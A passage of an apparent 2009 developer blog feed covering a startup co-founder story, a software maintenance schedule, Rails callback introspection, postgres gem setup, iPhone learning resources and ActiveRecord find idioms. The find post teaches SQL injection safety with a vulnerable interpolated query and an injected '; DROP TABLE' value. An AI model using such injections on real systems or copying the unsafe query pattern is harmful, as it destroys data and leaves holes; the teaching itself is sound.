of a class that Arthur was in, and I had a good time hacking on it in
my free time.  Only this time, I met someone who felt the same way I
did.  We reviewed each other's code, we called each other out on bad
habits, and most importantly, we both <strong>cared deeply</strong> about the
project.  We were proud of what we made, and we wanted to make it
useful for everyone else too.  What was new about this pet project was
that I hadn't met anyone who had wanted to work on my other pet
projects before.  Similarly, I never felt much interest in other
people's projects except to have a weekend hack session here and
there.  Working with Arthur was different because we talked about
everything related to Outspokes.  We talked code, we talked features,
we talked about who would use it, and we talked business.  I found
myself thinking about Outspokes way too much, and I knew that the more
I thought about it, the more it got Arthur pumped up.</p>
<p>Now one would think that in heart of the startup-saturated tech-mecca
of the world, it shouldn't be very hard to find a like-minded person
to work with. But one would be completely wrong in making this
assumption.  If anything, the valley is torn apart by so many
different interests that it's almost impossible to find someone
compatible to work with.  First you have to filter out the people who
only cared about making a quick buck.  Then you had the people who
only loved to be in the spotlight will jillions of page-views, and
also the people who only cared about the next big tech framework.
This leaves you with a handful of cool sane people who really believed
in their ideas, but unfortunately, since they were passionate about
their idea, it meant that unless you were also passionate about their
idea, you couldn't work with them.</p>
<p>So I was really lucky to have met Arthur.  Honestly, even if Outspokes
wasn't an amazing idea that I believed in, I still would've wanted to
work with him in the future at some point.  It made my decision that
much easier that Outspokes happens to solve a problem I've
experienced, and also a problem that I know peers feel daily.  For all
the startup advice that I saw on the internet, I think that having a
co-founder who you can talk to day-in and day-out on all aspects of
your life is probably the key to a successful startup.  Even in these
brief few months, I know that if I had worked with anyone else on this
startup, they would've jumped ship and given up already.  But having a
partner who reminds you about the big picture at the low points and
celebrates with you at the high points really makes a huge difference.</p>
<p>Stay tuned for my next post about the nasty nitty-gritty bits of how I
figured out the art of not starving, and what the actual TechCrunch50
Demopit launch taught me.</p>
<p>-Jerry <a href="http://www.outspokes.com" rel="nofollow">Outspokes</a></p>
  ]]></description>
</item>

<item>
  <title>The Software Maintenance Light</title>
  <link>https://jch.github.io/posts/2009-06-09-rails-application-maintenance.html
</link>
  <guid>https://jch.github.io/posts/2009-06-09-rails-application-maintenance.html
</guid>
  <pubDate>Tue, 09 Jun 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[

<p><a target="_blank" rel="noopener noreferrer" href="/images/check_engine.jpg"><img src="/images/check_engine.jpg" alt="check engine light" style="max-width: 100%;"></a></p>
My cute little box car, [Chuck](/images/chucksmall.jpg), came with an
owners manual.  Inside this little book, it lists all the mileage
intervals when Chuck should be serviced.  At 30,000 miles, you replace
the spark plugs, rotate tires, inspect the brakes, etc.  In addition
to these checklists, every 5000 miles Chuck beeps at me and flashes a
maintenance light to warn me that I should replace the engine oil.  As
my car nears 50,000 miles, it never ceases to amaze me that every time
I turn the key, Chuck starts up instantly and runs as well as he did
when I first got him.  I wish software could be as reliable as my car.
Heck, if it's too much to ask for software to be as reliable as a
Toyota, then I wish software could be as reliable as a mid-90's Chevy
Cavalier.  How could it be that an engine that explodes thousands of
times per minute for multiple decades over hundreds of thousands of
miles in all types of unpredictable weather conditions be *more*
reliable than software?  Then it hit me.  Software applications lack
**regular maintenance**.
<p>Even with the best development practices, I feel that many software
projects are missing this concept of maintenance.  Once a feature is
completed, it won't be touched again until a) the feature breaks, or
b) requirement changes affect the feature.  There doesn't seem to be a
holistic look at the entire app to make sure there aren't future
problem spots.  Going back to the car analogy, when you go for regular
maintenance, the entire car is checked over to identify future problem
spots so you don't have an unexpected catastrophe on the road.</p>
<p>So like Chuck's owner's manual, I propose the following "Software
Maintenance Schedule":</p>
<div class="markdown-heading"><h2 class="heading-element">Always</h2><a id="user-content-always" class="anchor" aria-label="Permalink: Always" href="#always"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Anytime code is changed, no matter how seemingly innoculous the change
is, there is room for error.  These tasks should be run whenever you
touch the codebase.</p>
<ul>
<li>run all your tests - check out <a href="http://en.wikipedia.org/wiki/Continuous_integration" rel="nofollow">continuous
integration</a>.
For Ruby, I've tried out <a href="http://integrityapp.com/" rel="nofollow">Integrity</a> and
<a href="http://cruisecontrolrb.thoughtworks.com/" rel="nofollow">CruiseControl rb</a>.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Daily</h2><a id="user-content-daily" class="anchor" aria-label="Permalink: Daily" href="#daily"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The daily tasks are ones that are too bulky to run per file save.
They're good for ensuring the consistency of the entire system.</p>
<ul>
<li>backup the codebase and production data to a secure offsite location</li>
<li>run regression tests</li>
<li>fix hoptoad errors - for large problems, file it into your ticketing system.</li>
<li>deploy code to staging environments</li>
</ul>
<p>I like to have the staging environment closely reflect the actual
production environment.  In fact, the ideal way is to have the staging
environment be cloned nightly from production.  Take care to scrub out
sensitive information so you don't accidentally mass email your live
production users ;)</p>
<div class="markdown-heading"><h2 class="heading-element">Weekly</h2><a id="user-content-weekly" class="anchor" aria-label="Permalink: Weekly" href="#weekly"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The end of the week is a good time to step back from coding and admire
your team's handiwork.  Unfocus your eyes, take your hands off the
keyboard and just make sure you wrote what you actually intended.</p>
<ul>
<li>release into production</li>
<li>refactoring - spend an afternoon with snacks and drinks and comb over TODOs, OPTIMIZEs, and FIXMEs.</li>
<li>evaluate metrics and analytics to identify performance and potential problems</li>
</ul>
<p>I don't think releasing into production weekly is for everyone, but I
do believe that keeping your stable production codebase closely in
sync with your stable development codebase is a good way to keep
production bugs from queueing into a nasty long list.</p>
<p>Tools like <a href="http://www.hoptoadapp.com/" rel="nofollow">Hoptoad</a> and <a href="http://www.newrelic.com/" rel="nofollow">New Relic
RPM</a> are a great way to be notified about
potential future problems.</p>
<div class="markdown-heading"><h2 class="heading-element">Monthly</h2><a id="user-content-monthly" class="anchor" aria-label="Permalink: Monthly" href="#monthly"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>test a deployment from scratch</li>
<li>clear out crufty data - old sessions, tmp files</li>
<li>automate common tasks</li>
</ul>
<p>Testing a deployment from scratch is useful in making sure that if a
new developer comes on, he can bootstrap the app.  I like writing new
automation tasks only after I notice the tasks being repetitive.  It's
good not to do this all the time and cut into development time.</p>
<div class="markdown-heading"><h2 class="heading-element">Releasely</h2><a id="user-content-releasely" class="anchor" aria-label="Permalink: Releasely" href="#releasely"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Do these tasks <em>before</em> you actually overwrite your current production
codebase with new code.</p>
<ul>
<li>tag codebase</li>
<li>test rigorously in staging</li>
<li>backup code, data</li>
<li>run sanity test of data</li>
<li>run regression tests</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Quarterly</h2><a id="user-content-quarterly" class="anchor" aria-label="Permalink: Quarterly" href="#quarterly"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>see if there are worthwhile tech stack upgrades - web server, libraries, database, etc</li>
</ul>
<p>It's easy to stick with a working system and keep developing off on
top of an understood foundtain.  However, in doing so, you might be
missing out on some really useful innovations that have been released.
For Coupa, we don't slot in infrastructure and tech stack projects
into every release, but we do upgrade Rails and Passenger every other
stable release or so.  Keeping up with your programming community
helps you and your project stay up to date on the latest security and
performance problems.</p>
<p>I think all my guidelines are common sense items that good development
teams already do.  What worries me is that there isn't a good
convention about <em>how often</em> these tasks are done.  After all, it's
much easier to check for problems when the maintenance light comes on,
rather than to wait for your engine to fall out.</p>
  ]]></description>
</item>

<item>
  <title>Introspecting Rails Models and Controllers Callbacks</title>
  <link>https://jch.github.io/posts/2009-06-04-introspecting-rails-models-and-controllers.html
</link>
  <guid>https://jch.github.io/posts/2009-06-04-introspecting-rails-models-and-controllers.html
</guid>
  <pubDate>Thu, 04 Jun 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Once models and controllers grow to a certain size and complexity, it
gets tricky to figure out what callbacks act upon them.  This is
especially true for objects that are several inheritance layers deep,
have multiple mixins, were written a long long time ago, or any
combination of the above.  I've picked up a few tools for crushing
nasty little callback buggers that crop up every now and then.  I hope
you find them useful!</p>
<div class="markdown-heading"><h2 class="heading-element">ActiveRecord Callbacks</h2><a id="user-content-activerecord-callbacks" class="anchor" aria-label="Permalink: ActiveRecord Callbacks" href="#activerecord-callbacks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Model validation and save callbacks are provided by the module
<a href="http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html" rel="nofollow">ActiveRecord::Callbacks</a>.
If you read through this code, you'll find that it's built on top of a
great little module called
<a href="http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html" rel="nofollow">ActiveSupport::Callbacks</a>.
I'm a big fan of this module because it gives you a nice abstraction
to defining callbacks on arbitrary Ruby objects.</p>
<p>The callbacks defined on ActiveRecord::Base sub-classes are</p>
<pre><code>after_find
after_initialize
before_save
after_save
before_create
after_create
before_update
after_update
before_validation
after_validation
before_validation_on_create
after_validation_on_create
before_validation_on_update
after_validation_on_update
before_destroy
after_destroy
</code></pre>
<p>To see the list of a particular callbacks, suffix the callback type
with '_callback_chain'.  For example, to see the 'before_save'
callbacks defined on the model Supplier:</p>
<pre><code>Supplier.before_save_callback_chain
</code></pre>
<p>This will give you a list of
<a href="http://api.rubyonrails.org/classes/ActiveSupport/Callbacks/Callback.html" rel="nofollow">ActiveSupport::Callbacks::Callback</a>
objects that have interesting attributes such as identifier, kind,
method, and options.</p>
<p>To get a named list of callbacks, do</p>
<pre><code>Supplier.before_save_callback_chain.map(&amp;:method)
</code></pre>
<p>To see whether a callback is conditional, check out it's 'options'</p>
<pre><code>Supplier.before_save_callback_chain.first.options
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">ActionController Callback</h2><a id="user-content-actioncontroller-callback" class="anchor" aria-label="Permalink: ActionController Callback" href="#actioncontroller-callback"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Controller callbacks documentation can be found at
<a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html" rel="nofollow">ActionController::Filters::ClassMethods</a>.</p>
<p>SuppliersController.filter_chain</p>
<p>Again, the array of filter objects returned by 'filter_chain' are
ActiveSupport::Callbacks::Callback instances.  This lets you check the
method names being called, as well as what options are set on it.</p>
<div class="markdown-heading"><h2 class="heading-element">In General</h2><a id="user-content-in-general" class="anchor" aria-label="Permalink: In General" href="#in-general"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Unrelated to callbacks, but a useful debugging tool to figure out what
caused your code to be in it's current context, use
<a href="http://www.ruby-doc.org/core/classes/Kernel.html#M005955" rel="nofollow">Kernel.caller</a>
to get a list of filenames and methods of the call stack.  It's
usually pretty noisy, so I use
<a href="http://www.ruby-doc.org/core/classes/Enumerable.html#M003152" rel="nofollow">Enumerable#grep</a>
to filter for what I'm interested in.</p>
<pre><code>Kernel.caller.grep /supplier/
</code></pre>
<p>The combination of these 3 tips have helped me debug strange callback
order bugs, as well as help me learn about a complex model that I've
never dealt with before.  Unfortunately, I put off writing about this
topic for so long that I've forgotten some of the tips.  As always, I
found reading into the ActiveRecord and ActiveSupport code to be
particularly enlightening.  If you have some other interesting
introspection tips that help you develop, please share them in the
comments ;)</p>
  ]]></description>
</item>

<item>
  <title>Ruby Postgresql Gem Cleanup</title>
  <link>https://jch.github.io/posts/2009-04-14-ruby-postgresql-gem-cleanup.html
</link>
  <guid>https://jch.github.io/posts/2009-04-14-ruby-postgresql-gem-cleanup.html
</guid>
  <pubDate>Tue, 14 Apr 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I ran into some trouble with getting a good native postgresql driver
installed.  Here are some links and resources I found to be useful.  I
also wrote a <a href="http://www.whatcodecraves.com/posts/2008/02/05/setup_rails_with_postgresql/" rel="nofollow">checklist for bootstrapping a new Rails app with
postgres</a>
as the adapter.</p>
<p>There are several choices for postgresql adapters.  The most active
and up-to-date one appears to be
<a href="http://rubyforge.org/projects/ruby-pg/" rel="nofollow">ruby-pg</a>, previously known as
ruby-postgres.  ruby-pr was the one I was using originally, but this
one is non-native and unmaintained.</p>
<p>A good starting point was <a href="http://www.robbyonrails.com/articles/2007/06/19/installing-ruby-on-rails-and-postgresql-on-os-x-second-edition" rel="nofollow">Robby's 'Installing Ruby on Rails and
Postgresql on OS X 2nd
edition</a>.
<a href="http://shifteleven.com/articles/2008/03/21/installing-postgresql-on-leopard-using-macports" rel="nofollow">ShiftEleven</a>
also had detailed instructions for installing postgresql with
macports.</p>
<p>The exact steps I took that worked for me were:</p>
<pre><code># start postgres on computer start.
sudo launchctl load -w /Library/LaunchDaemons/org.macports.postgresql83-server.plist

# the ARCHFLAGS is because of Leopard weirdness.
sudo env ARCHFLAGS="-arch i386" gem install pg
</code></pre>

  ]]></description>
</item>

<item>
  <title>Fast Tracked iPhone Development</title>
  <link>https://jch.github.io/posts/2009-04-10-fast-tracked-iphone-development.html
</link>
  <guid>https://jch.github.io/posts/2009-04-10-fast-tracked-iphone-development.html
</guid>
  <pubDate>Fri, 10 Apr 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Jumping into a new language, a new framework, and a new set of tools
is overwhelming!  But the best way to learn is to be utterly crushed
by the technology, then have friends pick up the pieces.  Once you've
seen a good broad overview of what's available, you're more capable of
finding resources on your own.  Here is my chronological step by step
guide to getting bootstrapped.</p>
<div class="markdown-heading"><h2 class="heading-element">Ready...</h2><a id="user-content-ready" class="anchor" aria-label="Permalink: Ready..." href="#ready"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I don't have an iPhone (yet).  One criteria for me to buy the iPhone
is whether developing for the device is fun.  You'd think this would
prevent me from developing, but Apple's iPhone SDK includes an
emulator.  The SDK is a huge, so start downloading <strong>right now</strong>.</p>
<p><em>1 hour+</em></p>
<ul>
<li>
<a href="http://developer.apple.com/iphone/" rel="nofollow">Download the iPhone SDK</a> and install it.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Set...</h2><a id="user-content-set" class="anchor" aria-label="Permalink: Set..." href="#set"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>While you wait, check out Apple's video overviews.  They're really
slim on technical content, but help familiarize you with how the
frameworks are organized.  I read the documents with the videos
playing the in background.  The videos are too slow paced to watch by
themselves.</p>
<p><em>2 hour chunks until your brain goes numb</em></p>
<ul>
<li><a href="http://developer.apple.com/iphone/library/navigation/GettingStarted.html" rel="nofollow">Getting Started Documents</a></li>
<li><a href="https://deimos.apple.com/WebObjects/Core.woa/BrowsePrivately/adc.apple.com.1479953497" rel="nofollow">Getting Started Videos</a></li>
</ul>
<p>After you get sick of the market-speak hype, familiarize yourself with
the patterns and concepts behind Objective-C and the Cocoa framework.</p>
<p><em>3 hours</em></p>
<ul>
<li><a href="http://developer.apple.com/documentation/Cocoa/Conceptual/ObjectiveC/Introduction/introObjectiveC.html" rel="nofollow">Introduction to Objective C</a></li>
<li><a href="http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/Introduction/Introduction.html" rel="nofollow">Introduction to Cocoa</a></li>
</ul>
<p>Understanding the lifecycle of an iPhone application can help you
understand how the different pieces of an app fits together.</p>
<p><em>1 hour</em></p>
<ul>
<li><a href="https://developer.apple.com/iphone/library/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/ApplicationEnvironment/ApplicationEnvironment.html" rel="nofollow">iPhone Application Programming Guide: The Core Application</a></li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Go!</h2><a id="user-content-go" class="anchor" aria-label="Permalink: Go!" href="#go"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Watching a lot of videos and reading a lot of documents is a good
start, but it really doesn't stick until you apply it.  At this point,
I had to struggle with the language, the framework, Xcode, and
Interface Builder.  To keep your sanity, I recommend working through
Apple's sample projects.  If you get bored, I recommend flipping
through <a href="http://www.appsamuck.com/" rel="nofollow">Appsamuck</a> for some good examples.</p>
<p><em>Each apps takes about an hour to go through</em></p>
<ul>
<li>
<a href="http://appsamuck.com/" rel="nofollow">Appsamuck</a> - 31 small apps to practice on.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Keep it up</h2><a id="user-content-keep-it-up" class="anchor" aria-label="Permalink: Keep it up" href="#keep-it-up"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I'm very lucky to have my iPhone gurus Mike, Stephen, and Allen on
hand to teach me best practices and tips and tricks as I go along.  If
anyone feels like doing a hack session for a few hours on weeknights,
ping me at jch at this domain.  I'll update this post with more useful
bootstrapping links as I go along.</p>
<ul>
<li>
<a href="http://www.stanford.edu/class/cs193p/cgi-bin/index.php" rel="nofollow">Stanford iPhone class</a> - comes with a podcast.</li>
<li>code completion - ESC to show possible completions, ctrl-/ to jump to next placeholder argument.</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Adventures with ActiveRecord find</title>
  <link>https://jch.github.io/posts/2009-04-08-adventures-with-active-record-find.html
</link>
  <guid>https://jch.github.io/posts/2009-04-08-adventures-with-active-record-find.html
</guid>
  <pubDate>Wed, 08 Apr 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Retrieving records from the database and mapping the results into
ActiveRecord models are a big part of every Rails app.  A large
majority of your controllers will retrieve one or more ActiveRecord
models.  For something as important and fundamental as 'find', knowing
more of it's options and idioms can help you write less, write it more
elegantly, and do more.</p>
<p>For starters, let's look at the basic form.</p>
<pre><code>Fruit.find(1)  # single integer id
Fruit.find(params[:id])  # single string id
Fruit.find(@user1, @user2)  # by list
Fruit.find([@user1, @user2]) # by array
</code></pre>
<p>This is how you find a record given an id.  When you search like this,
it will raise
<a href="http://api.rubyonrails.org/classes/ActiveRecord/RecordNotFound.html" rel="nofollow">ActiveRecord::RecordNotFound</a>
if no record can be found.  This exception is what causes the 404 page
to load in your controllers when you hit a URL for a record that
doesn't exist.  You can emulate this by explicitly raising
RecordNotFound if you don't want a user to access a certain record.</p>
<pre><code>@banana = Fruit.find(5)

# pretend that no record was found and show a 404 page.
if @banana.rotten?
  raise ActiveRecord::RecordNotFound.new
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">First, Last, All</h2><a id="user-content-first-last-all" class="anchor" aria-label="Permalink: First, Last, All" href="#first-last-all"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>Fruit.find(:first)
Fruit.first
Fruit.find(:last)
Fruit.last
Fruit.find(:all)
Fruit.all
</code></pre>
<p>These methods do what you expect them to.  I prefer using the shortcut
methods 'all', 'first' and 'last', rather than explicitly saying
Fruit.find(:first).  The order for :first and :last is the 'id' of the
table.  Think of 'first' as the first inserted record, and 'last' as
the most recently inserted record.</p>
<p>Something I would like to see more people using is the shortcuts in
conjunction with find's arguments.  Instead of:</p>
<pre><code>Fruit.find(:all, :conditions =&gt; { :color =&gt; 'yellow' })
</code></pre>
<p>I prefer the shorter:</p>
<pre><code>Fruit.all(:conditions =&gt; { :color =&gt; 'yellow' })
</code></pre>
<p>This works with all 3 shortcut methods.  It also works with all of the
options that the normal find method accepts.</p>
<div class="markdown-heading"><h2 class="heading-element">Conditions</h2><a id="user-content-conditions" class="anchor" aria-label="Permalink: Conditions" href="#conditions"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Conditions are what get translated into the WHERE clause in the SQL
statement.  There are 3 different way to specify your conditions: the
String form, the Array form, and the Hash form.</p>
<div class="markdown-heading"><h3 class="heading-element">String Conditions</h3><a id="user-content-string-conditions" class="anchor" aria-label="Permalink: String Conditions" href="#string-conditions"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The string form is easy to understand and is useful for querying
specific known values.</p>
<pre><code>Fruit.all(:conditions =&gt; "name = 'banana' OR name = 'apple'")
</code></pre>
<p><strong>DO NOT</strong> use the string form for tainted values that come in from
submitted web forms.  The String form does not escape values for you
and can cause SQL injection attacks if you aren't careful.  For example:</p>
<pre><code># DO NOT do this!
Fruit.first(:conditions =&gt; "name = '#{params[:name]}')
</code></pre>
<p>While this may look harmless at first, there's no guarantee that
params[:name] is a safe value.  It could very well have the value</p>
<pre><code># dangerous params[:name] value
'; DROP TABLE fruits;
</code></pre>
<p>When you interpolate that value into the condition string, you end up
dropping all your delicious fruits!  When you need to do a find based
on unsafe web input, use the Array and Hash forms instead.  Both of
these will escape and quote the values properly.</p>
<div class="markdown-heading"><h3 class="heading-element">Array Conditions</h3><a id="user-content-array-conditions" class="anchor" aria-label="Permalink: Array Conditions" href="#array-conditions"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Using the same example, we could write that last dangerous query as:</p>
<pre><code>Fruit.first(:conditions =&gt; ["name IN (?) OR color = ?", params[:keywords], params[:color]])
</code></pre>
<p>This works, but gets kind of ugly when you have a lot of values to
interpolate.  To make it more readable, you can name your
interpolations in a hash instead of using '?'.</p>
<pre><code>Fruit.all(:conditions =&gt; [
  "name IN (:keywords) OR color = :color",
  {
    :keywords =&gt; params[:keywords],
    :color    =&gt; params[:color]
  }
])
</code></pre>
<p>Finally, we come to my favorite and most used form of condition.</p>
<div class="markdown-heading"><h3 class="heading-element">Hash Conditions</h3><a id="user-content-hash-conditions" class="anchor" aria-label="Permalink: Hash Conditions" href="#hash-conditions"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I find this style to be the most readable for equality and SQL IN
conditions.  It keeps the column name close to the value being
queried.  If the value is an Array, then ActiveRecord knows to use the
SQL IN operator.</p>
<pre><code>Fruit.all(:conditions =&gt; {
  :name  =&gt; params[:keywords],  # SQL - name IN ('banana', 'apple')
  :color =&gt; params[:color]      # SQL - color = 'yellow'
})
</code></pre>
<p>If you use :joins or :include to pull in associations, you can still
use the Hash form to do equality comparisons.  For example:</p>
<pre><code>Fruit.all(:include =&gt; [ :company ], :conditions =&gt; {
  "company.name"  =&gt; params[:company_name],
  "company.phone" =&gt; params[:phone],
  :color          =&gt; params[:color]
})
</code></pre>
<p>In general, I like using the String form to do short hardcoded SQL
queries like "aroma IS NULL".  The Hash form is ideal for conditions
that only use the equality operator.  The Array form is the most
general purpose; I try to use the named arguments version when using
the Array form.</p>
<div class="markdown-heading"><h2 class="heading-element">Associations</h2><a id="user-content-associations" class="anchor" aria-label="Permalink: Associations" href="#associations"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>You can use the :include or :joins to pull in a model's associations
if you want to use them in the find's :conditions, or if you want them
to be <a href="http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html" rel="nofollow">eager
loaded</a>
in the results.  :include uses 'LEFT OUTER JOIN' and :joins uses
'INNER JOIN'.  Both forms can take a raw SQL string, or symbols for
what associations to follow.</p>
<pre><code># fruits LEFT OUTER JOIN companies ON companies.id = fruits.company_id
Fruit.all(:include =&gt; [ :company ])

# fruits INNER JOIN companies ON companies.id = fruits.company_id
Fruit.all(:joins =&gt; [ :company ])
</code></pre>
<p>You can follow associations arbitrarily deep:</p>
<pre><code># fruits LEFT OUTER JOIN companies ON companies.id = fruits.company_id LEFT OUTER JOIN employees ON employees.company_id = company.id LEFT OUTER JOIN profiles.employee_id = employees.id
Fruit.all(:include =&gt; [ { :company =&gt; { :employees =&gt; :profiles } } ])
</code></pre>
<p>Multiple associations work too:</p>
<pre><code>Fruit.all(:include =&gt; [ :company, :farm ])
</code></pre>
<p>For more examples, <a href="http://www.google.com/search?q=rails+eager+loading" rel="nofollow">google 'rails eager
loading'</a>, and
read up about <a href="http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html" rel="nofollow">Rails Eager
Loading</a>.
Use :joins when an inner join is sufficient.  This will give you
faster queries, and cleaner log output.</p>
<div class="markdown-heading"><h2 class="heading-element">Making Results Things Unique</h2><a id="user-content-making-results-things-unique" class="anchor" aria-label="Permalink: Making Results Things Unique" href="#making-results-things-unique"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When you do multiple joins or includes, you may end up with duplicates
in the results.  Rather than removing the duplicates in code, let
ActiveRecord handle it.</p>
<pre><code>Fruit.all(:select =&gt; "DISTINCT fruits.*", ...)
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Mapping Fewer Columns</h2><a id="user-content-mapping-fewer-columns" class="anchor" aria-label="Permalink: Mapping Fewer Columns" href="#mapping-fewer-columns"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>By default, all selects will select all columns (SELECT * FROM ...).
If you know ahead of time that you'll only be using a few specific
columns, specify them with :select and large queries will feel
noticeably faster.</p>
<pre><code>@banana = Fruit.first(:select =&gt; 'id, name')
@banana.id    # ok
@banana.name  # ok
@banana.color # raise ActiveRecord::MissingAttributeError
</code></pre>
<p>This is especially useful when writing data migrations that only need
to modify a specific column's data.  Make sure you include 'id'
because it's not included by default.</p>
<div class="markdown-heading"><h2 class="heading-element">Named Scopes</h2><a id="user-content-named-scopes" class="anchor" aria-label="Permalink: Named Scopes" href="#named-scopes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://api.rubyonrails.org/classes/ActiveRecord/NamedScope/ClassMethods.html#M002120" rel="nofollow">named_scope</a>
is great.  Everything you learn about 'find' applies to named_scope.
It's a great way to compose complex queries.</p>
<div class="markdown-heading"><h2 class="heading-element">It's like eating your vegetables...</h2><a id="user-content-its-like-eating-your-vegetables" class="anchor" aria-label="Permalink: It's like eating your vegetables..." href="#its-like-eating-your-vegetables"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Grokking the various ways to retrieve database rows and control how
they are mapped into models by your ORM will make you a stronger
developer regardless of what framework you're using.  There'll be less
code to maintain, and that code will be both readable and concise.
Spend an afternoon and read the documentation for find, eager loading,
and named_scope.  I promise that even if you've been doing Rails for a
while, you'll pick up on an option or a style that you hadn't seen
before.</p>
  ]]></description>
</item>

<item>
  <title>Rails 2.2.2 Chicken and Egg Migrations Headache</title>
  <link>https://jch.github.io/posts/2009-03-17-rails-2.2.2-chicken-and-egg-migrations-headache.html
</link>
  <guid>https://jch.github.io/posts/2009-03-17-rails-2.2.2-chicken-and-egg-migrations-headache.html
</guid>
  <pubDate>Tue, 17 Mar 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>For this upcoming March release, we plan to upgrade from Rails 2.1 to
Rails 2.2.2. When testing bootstrapping fresh instances of our app, we
ran across an annoying migrations problem.  Read on to see how we
resolved it.</p>
<p>The bootstrap process for our app is pretty straightforward.  We
prepare the new empty database by loading db/schema.rb from our last
stable release.  db/schema.rb is kept in sync as we move from one
release to the next.  Once the structure of the database is created
with db:schema:load, we setup initial defaults in the app by loading
yaml fixtures via a custom db:seed:load rake task.</p>
<pre><code>desc "Initialize database"
task :seed, :roles =&gt; :app do
  run &lt;&lt;-CMD
    cd #{current_path} &amp;&amp;
    rake db:schema:load &amp;&amp;
    rake db:seed:load SRC=db/blank SEEDS=all
  CMD
end
</code></pre>
<p>Easy peasey right? I was very annoyed when db:schema:load stopped dead
in it's page long backtrace.  The offending error was:</p>
<pre><code>Mysql::Error: Table 'coupa_blah.setup doesn't exist: SHOW FIELDS FROM `setup`
</code></pre>
<p>Looking a little deeper, it became apparent that models and
controllers assumes the existence of the 'setup' table, and reference
it when they are loaded for configuration settings.  However, the
'setup' table is created and populated by db:schema:load and
db:seed:load.  Chicken and egg, you have foiled me again!</p>
<p>I knew it was a problem with class caching because when I tried
running db:schema:load in development mode, it worked without a
hiccup.
<a href="http://api.rubyonrails.org/classes/Rails/Configuration.html" rel="nofollow">Rails::Configuration</a>
told me that there is a variable <code>eager_load_paths</code> that
determines where to eager load.  In our environment.rb, I added this
to the <code>Rails::Initializer</code> block:</p>
<pre><code># Hint: this doesn't fix our problem!!
config.eager_load_paths = []
</code></pre>
<p>At first glance, this not only fixed the db:schema:load problem, but
had the added side benefit of speeding up start up times of Passenger
app servers, and script/console.  Of course, it was too good to be
true.  I soon realized that weird things in our app were broken.  We
were getting method undefined errors on classes that obviously had
them.  It was frustrating, but at least I know <a href="http://rails.lighthouseapp.com/projects/8994/tickets/802-eager-load-application-classes-can-block-migration" rel="nofollow">I'm not
alone</a>.
It turns out that we need our model classes to be eager loaded.  I
ended up turning eager loading back on and adding this hack to
environments/production.rb:</p>
<pre><code># kids, this is what an ugly hack looks like. Don't worry, Rails
# 2.3 will fix this.
config.cache_classes = (File.basename($0) == "rake" &amp;&amp; !ARGV.grep(/db:/).empty?) ? false : true
</code></pre>
<p>If <code>cache_classes</code> is false, then the paths in
<code>eager_load_paths</code> is ignored, and no eager loading is
done.  The conditional basically turns off eager loading for any rake
task within the 'db' namespace.  The hack was already there, but the
previous version specifically looked for 'db:migrate', whereas this
one will exempt db:schema:load and db:seed:load as well.</p>
<p>Fortunately, according to the <a href="http://rails.lighthouseapp.com/projects/8994/tickets/802-eager-load-application-classes-can-block-migration" rel="nofollow">lighthouse
ticket</a>
on this issue, it looks like Rails 2.3 will default to turning off
eager loading of classes for rake tasks.  Until then, this hack will
have to do.</p>
  ]]></description>
</item>

<item>
  <title>Rails and Gems Documentation Everywhere</title>
  <link>https://jch.github.io/posts/2009-02-28-rails-and-gems-documentation-anywhere.html
</link>
  <guid>https://jch.github.io/posts/2009-02-28-rails-and-gems-documentation-anywhere.html
</guid>
  <pubDate>Sat, 28 Feb 2009 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/images/mobile-me.png"><img src="/images/mobile-me.png" alt="stick figure of me and macbook" style="max-width: 100%;"></a> A great thing about
<a href="http://www.coupa.com/" rel="nofollow">Coupa</a> work is how I can hack it up without a
network connection.  The codebase is checked out and I run mysql
locally.  I fire up emacs and a script/server and I'm pretty much good
to go.  The only downside is not being able to access the rails and
gems docs.  Here's what I did to put together a productive local
setup.</p>
